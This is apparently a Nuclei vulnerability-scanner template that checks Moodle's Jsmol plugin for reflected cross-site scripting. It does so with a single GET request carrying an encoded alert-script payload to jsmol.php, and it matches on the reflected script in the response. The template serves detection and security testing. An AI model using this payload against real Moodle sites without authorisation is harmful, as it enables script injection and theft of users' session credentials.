id: moodle-filter-jmol-xss

info:
  name: Moodle Jsmol - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Moodle contains a cross-site scripting vulnerability via the Jsmol plugin and may also be susceptible to local file inclusion or server-side-request forgery. An attacker can execute arbitrary script in the browser of an unsuspecting user and steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: moodle,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>alert('XSS')</script>"
        part: body

      - type: word
        part: header
        words:
          - "text/html"
# digest: 490a0046304402202ce4ab09dfbb0d1a283ed44ecf36d605d0ca9b1daf7c865bc6dff2377cae6fe302201755c894c9fb9d830625ffad6822664793240ae4e1f14fd340b92b5c2be20517:922c64590222798bb761d5b6d8e72950